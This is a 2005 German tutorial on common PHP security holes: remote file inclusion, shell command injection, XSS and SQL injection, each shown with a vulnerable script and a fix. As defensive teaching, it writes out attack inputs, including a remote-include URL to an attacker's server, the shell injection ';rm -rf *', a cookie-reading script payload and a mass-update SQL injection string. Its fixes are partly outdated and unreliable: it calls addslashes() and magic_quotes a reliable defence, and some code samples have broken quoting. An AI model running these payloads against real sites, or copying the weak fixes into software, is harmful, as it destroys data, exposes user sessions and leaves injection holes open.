

Sicherheit ist lebenswichtig.

Nicht nur für Profis, für jeden! Viele Anfänger und fortgeschrittene PHP Programmierer schreiben einen Code, der vor Lücken und Fehlern nur so trotz. Nur gut konfigurierte Web Server retten oft die, denen das nötige Sicherheits Bewusstsein fehlt. Dabei sollte sich jeder darüber klar sein, was es heißt, ein PHP Script offen auf einem Web Server im Internet abzulegen.

Kommunikation ist gefährlich.

Besonders zwei Fehlerquellen tauchen immer wieder auf und bieten Angriffs Möglichkeiten. Zum einen sind das Parameter über die URL, die nicht richtig auf Angriffe überprüft werden und einfach in include() Anweisungen oder SQL Querys benutzt werden. Und zum anderen ist es das Selbe Leid mit Parametern über die Post Methode. Kurz und gut: Alle Möglichkeiten, Daten an ein PHP Script zu senden, können für Angriffe genutzt werden. Aber PHP bietet ausreichende Möglichkeiten an, um Angriffe abzuwehren.

Include oder Shell Befehle manipulieren.

Ein Fehler, den man immer wieder sieht, sind Index Dateien, die per Parameter angewiesen werden, einen bestimmten Inhalt anzuzeigen. Normalerweise wird dabei mit simplen Includes gearbeitet. Allerdings ohne vorher den Parameter auf seine Richtigkeit zu prüfen. Dadurch kann ein Angreifer beliebigen Code auf dem Server ausführen. Parameter ungeparst in Shell Befehlen einzusetzen ist ein ähnlicher Fehler, der allerdings nicht so oft auftritt. Dieser Fehler kann aber zu einem unverhofften Speicherplatz Gewinn führen.

Beispiel für ein anfälliges Script.

Das Beispiel für die falsche Verwendung des Include Befehles ist eine Datei index.php, die immer eine Datei einbindet. Übergeben wird jeweils der Parameter site, der Einfachheit halber berücksichtigt das Script nur den Weg über die Url.

```
<?php
//Dateinamen in einer Variablen speichern
$file = (empty($_GET['site']) == false) ? $_GET['site'] : '0';
$file .= '.php';

//und dann einbinden
include($file);
?>
```

Der Angriff kann jetzt ganz einfach per Url erfolgen. Ein Aufruf der Art index.php?site=http://adresse.de/angriffs/script würde dazu führen, dass auf dem Server die Datei script.php vom Server des Angreifers ausgeführt wird. Grundsätzlich darf nie fremder Code auf dem eigenen Server ausgeführt werden!

Ein anfälliges Script mit einem Shell Aufruf ist genauso schlimm, kommt aber seltener vor. Als Beispiel führt dieses Script immer einen Ping unter Linux aus, die Adresse kann der Benutzer per Formular angeben.

```
<?php
if(empty($_GET['adresse']) == false) {
    //Adresse übermittelt, Ping ausführen
    system("/sbin/ping {". $_GET['adresse'] ."}");
}
?>
```

Gefährlich ist das Script, weil der Benutzer nicht nur eine Adresse angeben kann, sondern auch einen weiteren Shell Befehl. Statt www.adresse.de übermittelt er folgenden Befehl ;rm -rf * Schade um die ganzen Dateien.

Gegenmaßnahmen richtig einsetzen.

Als Möglichkeit der Abwehr bei Include Befehlen, die User Eingaben benutzen, auf jeden Fall zu empfehlen ist, sind Dateinamen aus Zahlen. Dann kann alles andere über eine erzwungene Typumwandlung rausgeworfen werden. Ansonsten ist der Befehl basename() hilfreich, der aus einem Pfad nur den Dateinamen herausfiltert.

```
<?php
$file = (empty($_GET['site']) == false) ? $_GET['site'] : '0';

//Für die Variante mit Zahlen
$file = intval($file);
//oder mit basename
$file = basename($file);

include($file .'.php');
?>
```

Für Shell Befehle, die nicht auf Daten des Benutzers verzichten können, gibt es die Funktion escapeshellcmd(). Durch diese Funktion werden sogenannte Shell Meta Zeichen maskiert, damit nicht willkürlich Befehle ausgeführt werden können. Berichtigung des Beispiels mit dem Ping:

```
<?php
if(empty($_GET['adresse']) == false) {
    //Adresse bereinigen
    $adresse = escapeshellcmd($_GET['adresse']);

    system("/sbin/ping {". $adresse ."}");
}
?>
```

Abschließendes Fazit.

Leider kommen diese Fehler relativ häufig vor, dabei ist die Behebung dieses Mangels ausgesprochen einfach. Einem geübten Coder darf so ein Fehler nicht unterlaufen und Anfänger sollten sich schnellstens die Gegenmaßnahmen angewöhnen.

Mit Cross Site Scripting Daten abfangen.

Diese sogenannten XSS Angriffe sind eine Dimension größer als die Manipulation von Include oder Shell Befehlen. Denn hier wird nicht direkt der Server angegriffen, sondern es spielt eine weitere Person mit: Das Opfer des Angriffes. Geschädigt wird normalerweise nur das Image der eigenen Seite, denn der Angreifer versucht in den meisten Fällen an die Session ID des Opfers zu gelangen. Mit der kann er sich als das Opfer ausgeben und viel Schaden anrichten, wenn auch keinen technischen. Verhindern lassen sich die dazu gehörenden Schwachstellen durch das richtige Parsen aller Benutzereingaben. Zumindest erforderlich, wenn sie wieder ausgegeben werden.

Beispiel für ein anfälliges Script.

Das Beispiel für ein Script, das anfällig für XSS Angriffe ist, ist ziemlich kurz. Stellen wir uns vor, die Session ID wird in einem Cookie gespeichert. Das ist gängige Praxis und wird zum Beispiel in vielen Foren so gemacht. Damit ist jede Seite, auf der ungeparste Benutzereingaben wieder ausgegeben werden, für einen XSS Angriff geeignet. Bei einem XSS Angriff bringt der Angreifer das Opfer dazu, einem manipulierten Link zu folgen. Zum Beispiel klickt das Opfer auf einen Link oder es erhält ihn per eMail. Der Angreifer hat jetzt diesen Link so mit einer Client Seitigen Script Sprache (zum Beispiel Java- oder VB Script) manipuliert, dass der Cookie des Opfers ausgelesen und an den Angreifer übermittelt wird. Hier ein simples Script, das anfällig für einen solchen Angriff wäre.

```
<?php
echo $_GET['name'];
?>
```

Ruft jetzt das Opfer einen Link der Form `http://adresse.de/script.php?name=Peter <script language="JavaScript" > alert (document.cookie); </script>` auf, wird ihm seine Session ID angezeigt (natürlich muss der Cookie von der letzten Anmeldung noch gültig sein, ansonsten war der Angriff erfolglos). Der Angreifer benutzt jetzt statt dem Befehl `alert()` einen Befehl wie `location.href` um das Opfer einen Umweg über ein eigenes PHP Script nehmen zu lassen. Dieses Script speichert die Daten aus dem Cookie, die per Url Parameter übergeben wurden. Anschließend wird das Opfer auf die Seite weitergeleitet, die es erwartet hat. Der Angreifer kann sich nun mit den Daten als das Opfer ausgeben, welches von dem ganzen Angriff überhaupt nichts mitbekommen hat.

Gegenmaßnahmen richtig einsetzen.

Zu verhindern ist eine solche Lücke einfach, schwieriger ist es sie zu bemerken. Damit kein Java- oder VB Script ausgeführt werden kann, müssen im Grunde nur die HTML Tags entfernt werden. Dann wird das Script als normaler Text behandelt und nicht ausgeführt. Es gibt zwei gute Möglichkeiten, um dieses Ziel zu erreichen.

```
<?php
/* Gibt aus:
alert (dokument.cookie);
*/
echo strip_tags($_GET['name']);
```

```

/* Gibt aus:
<script language...
*/
echo htmlspecialchars($_GET['name']);
?>

```

Die Funktion strip_tags() entfernt alle HTML Tags, also auch den Tag <script>. Die wahrscheinlich bessere Variante ist die Funktion htmlspecialchars(), die aus den HTML Steuerzeichen < und > die Kombinationen < und > macht. Für den Besucher macht das keinen Unterschied, der Browser stellt beide Zeichen gleich dar. Allerdings verhindert das ebenfalls, dass das Script ausgeführt wird.

Abschließendes Fazit.

Gefährlich sind solche Fehler zwar nur für das Image, vermieden sollten sie trotzdem werden. Die Vorbeugung ist einfach zu bewerkstelligen und problemlos zu meistern. Für einen aufmerksamen Entwickler stellen diese Fehler sicherlich kein Problem dar, Scripte von Anfängern werden aber davon nur so wimmeln.

Abfragen über SQL Injections manipulieren.

Oft wird in Verbindung mit PHP eine SQL Datenbank benutzt, meistens MySQL. Dabei tritt viel zu oft ein Fehler auf, der starke Ähnlichkeit mit der Manipulation von Include oder Shell Befehlen hat. Dabei wird im Grunde eine SQL Abfrage manipuliert. Solche Lücken treten dann auf, wenn Benutzer Eingaben in der Abfrage verwendet werden sollen und dabei nicht ausreichend geparst werden. Durch eine geschickte Eingabe kann die Abfrage viel zu viele Datensätze (meistens sogar alle vorhandenen Einträge) betreffen und damit erheblichen Schaden anrichten. Dabei sind zwei Abwehr Methoden bereits in PHP eingebaut.

Beispiel für ein anfälliges Script.

Stellen wir uns vor, per SQL Abfrage soll die eMail Adresse des Benutzers geändert werden. Der Benutzer selbst wird anhand seines eindeutigen Benutzernames identifiziert. Per Url werden beide Werte übergeben, der Benutzername und die neue eMail Adresse. Das Script macht mit diesen Daten anschließend ein Datenbank Update.

```

<?php
/*
Datenbank Verbindung herstellen, etc.
*/

$sql = 'UPDATE datenbank SET email="'. $_GET['email'] .'"
      WHERE name="'. $_GET['name'] ."'";
mysql_query($sql);
?>

```

Auch wenn dieses Script wunderbar funktioniert, ist es eine einzige

Sicherheitslücke. Ein einziger Aufruf genügt, und in der Datenbank herrscht Chaos. Hier ein Beispiel Angriff, in den Query sind die entsprechenden Werte eingesetzt. Stell dir vor, wie gravierend ein solcher Angriff wirken würde: Für alle Benutzer wären die eMail Adresse und das Passwort gelöscht, ein echter Angreifer wäre noch weiter gegangen.

```
<?php
/*
Als Parameter für email wird an die Url übergeben:
?email=0", passwort="&name=" OR name LIKE "%
*/

$sql = 'UPDATE datenbank SET email="0", passwort="'
      WHERE name=" OR name LIKE "%';
mysql_query($sql);
?>
```

Gegenmaßnahmen richtig einsetzen.

Zum Verhindern solcher Sicherheits Mängel gibt es eine Funktion, die sich addslashes() nennt. Diese Funktion fügt vor allen Hochkommata und allen Backslashes in einem String einen Backslash \ ein. Damit wird verhindert, dass diese Zeichen in einer Benutzer Eingabe als Steuerungs Zeichen angesehen werden. Eine weitere Funktion, die aber eine größere Zeichen Gruppe unterstützt, ist mysql_escape_string() wobei am mysql_ zu erkennen ist, dass dies eine spezielle MySQL Funktion ist.

```
<?php
$neue_email = addslashes($_GET['email']);
$benutzer_name = addslashes($_GET['name']);

$sql = 'UPDATE datenbank SET email="' . $neue_email . "'
      WHERE name="' . $benutzer_name . "'";
mysql_query($sql);

/*
Bei den selben Parametern ergibt das diesen Query:

UPDATE datenbank SET email="0\", passwort=\"\"
WHERE name=\" OR name LIKE \"%\"
*/
?>
```

Abschließendes Fazit.

SQL Injections sind bereits fortgeschrittene Angriffe und die entsprechenden Lücken sind leider an vielen Stellen zu finden. Nicht nur SQL Anfänger sind betroffen, sondern auch große Systeme weisen in dieser Beziehung Mängel auf. Die Funktion addslashes() vereitelt dabei zuverlässig Angriffe. Interessant ist die Option magic_quotes_gpc in der php.ini - ist diese Einstellung aktiviert, wird auf Benutzereingaben automatisch die Funktion addslashes() angewandt.

PHP verhindert ein noch größeres Malheur, indem nur eine Abfrage pro Funktionsaufruf angenommen wird. Zumindest bei der Funktion mysql_query ist dies so, bei anderen SQL Datenbanken kann es da Unterschiede geben. Mit der Verwendung der Funktion addslashes() ist man auf jeden Fall auf der sicheren Seite.

Mahnende Worte zum Schluss.

Sicherheit in PHP Scripten geht jeden Coder etwas an, Ausreden wie „Ich bin noch Anfänger, kann doch jeden mal passieren.“ zählen nicht. Jeder ist dafür verantwortlich, seine Scripte zu schützen und die bereitgestellten Funktionen zu nutzen. Diese 3 Fehlergruppen sind nur die aller häufigsten Fehler und noch lange nicht alle. Sicherheits Bewusstes Denken muss man sich antrainieren und genauso wie Programmieren lernen.

Zu guter letzt sollte man seine Scripte nochmal gründlich überprüfen. Und vielleicht einfach mal seine eigene Seite angreifen. Weitere Informationen findet ihr in professioneller PHP Literatur (sehr zu empfehlen: PHP de Luxe).

© 2005 by GruppeCN @ büro für ideen

<http://buero-fuer-ideen.de/gruppecn/>

GruppeCN